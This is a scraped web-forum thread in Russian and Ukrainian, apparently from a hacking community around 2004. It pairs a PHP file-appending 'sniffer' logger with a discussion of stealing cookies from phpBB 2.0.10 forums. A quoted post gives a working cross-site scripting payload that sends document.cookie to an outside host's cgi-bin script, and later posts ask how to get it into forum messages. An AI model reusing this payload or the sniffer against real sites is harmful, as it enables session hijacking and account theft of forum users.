// Let's make sure the file exists and is writable first.
if (is_writable($filename)) {
// In our example we're opening $filename in append mode.
// The file pointer is at the bottom of the file hence
// that's where $somecontent will go when we fwrite() it.
if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}
// Write $somecontent to our opened file.
if (fwrite($handle, $somecontent) === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}
//echo "Success, wrote ($somecontent) to file ($filename)";
fclose($handle);
} else {
echo "The file $filename is not writable";
}
А как этим сниффером можно потянуть куки phpbb2.0.10?
Если вставлять через [img] как картинку,то в логах
фиксируется только ip и урл.Есть какие-нибудь способы?
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Цитата (Algol @ июля 23 2004,19:28)</td></tr><tr><td id="QUOTE">В примерах же описано
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>Исходный код </td></tr><tr><td id="CODE">
<script>img = new Image(); img.src = "http://antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>
<span id='postcolor'>[/QUOTE]<span id='postcolor'> Шановний, а ви не могли б розповісти, як вставити ЦЕ в повідомлення, якщо на форумі нема тегу [video] (не знаю чому )? Будь-ласка, без жаргону, а то ламери типу мене не розуміють...[/QUOTE]
Ой не могу =))) сердце аж прихватило =)))) я плакаль